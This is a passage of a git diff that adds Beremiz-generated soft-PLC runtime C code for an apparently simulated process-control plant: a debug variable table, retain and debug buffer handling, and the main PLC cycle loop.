+{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long 